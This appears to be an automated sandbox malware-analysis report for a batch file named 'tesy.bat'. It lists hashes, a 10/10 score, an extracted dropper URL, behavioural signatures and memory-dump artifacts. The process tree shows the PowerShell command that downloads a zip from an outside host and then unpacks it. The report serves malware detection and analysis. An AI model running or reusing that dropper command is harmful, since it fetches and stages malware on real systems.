1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1563s
max time network
1569s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy.bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2788	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2788	powershell.exe
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 2788	2372	cmd.exe	29
PID 2372 wrote to memory of 2788	2372	cmd.exe	29
PID 2372 wrote to memory of 2788	2372	cmd.exe	29
PID 2372 wrote to memory of 2728	2372	cmd.exe	30
PID 2372 wrote to memory of 2728	2372	cmd.exe	30
PID 2372 wrote to memory of 2728	2372	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
800e80d05e5d7960c0f34a20d1c2721d

SHA1
d38caa5f7871aacccc5a4b0f1c82d3cdc4ecc08e

SHA256
b75e16df53536af787de36865e54895a8b5158f2c67a4cfa10c1fab3872e28fe

SHA512
68202efbce0c5139ac31b6bba4e8474c0ca05004f9ae9ba59538bcceabd3f5d4af05a5a8db5f339808ed3ba5240dd8ea63ffd99c855794ad1c29bb2192d04254

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FSSNY32ISIJVWTVMKZQ9.temp

Filesize
7KB

MD5
800e80d05e5d7960c0f34a20d1c2721d

SHA1
d38caa5f7871aacccc5a4b0f1c82d3cdc4ecc08e

SHA256
b75e16df53536af787de36865e54895a8b5158f2c67a4cfa10c1fab3872e28fe

SHA512
68202efbce0c5139ac31b6bba4e8474c0ca05004f9ae9ba59538bcceabd3f5d4af05a5a8db5f339808ed3ba5240dd8ea63ffd99c855794ad1c29bb2192d04254

Download Submit
memory/2728-26-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-25-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2728-24-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2728-23-0x00000000025C0000-0x0000000002640000-memory.dmp

Filesize
512KB

Download
memory/2728-22-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-20-0x000007FEF5180000-0x000007FEF5B1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-21-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2728-19-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2788-9-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2788-13-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-11-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-7-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2788-8-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2788-4-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2788-10-0x0000000001FE0000-0x0000000002060000-memory.dmp

Filesize
512KB

Download
memory/2788-6-0x000007FEF5B20000-0x000007FEF64BD000-memory.dmp

Filesize
9.6MB

Download
memory/2788-5-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download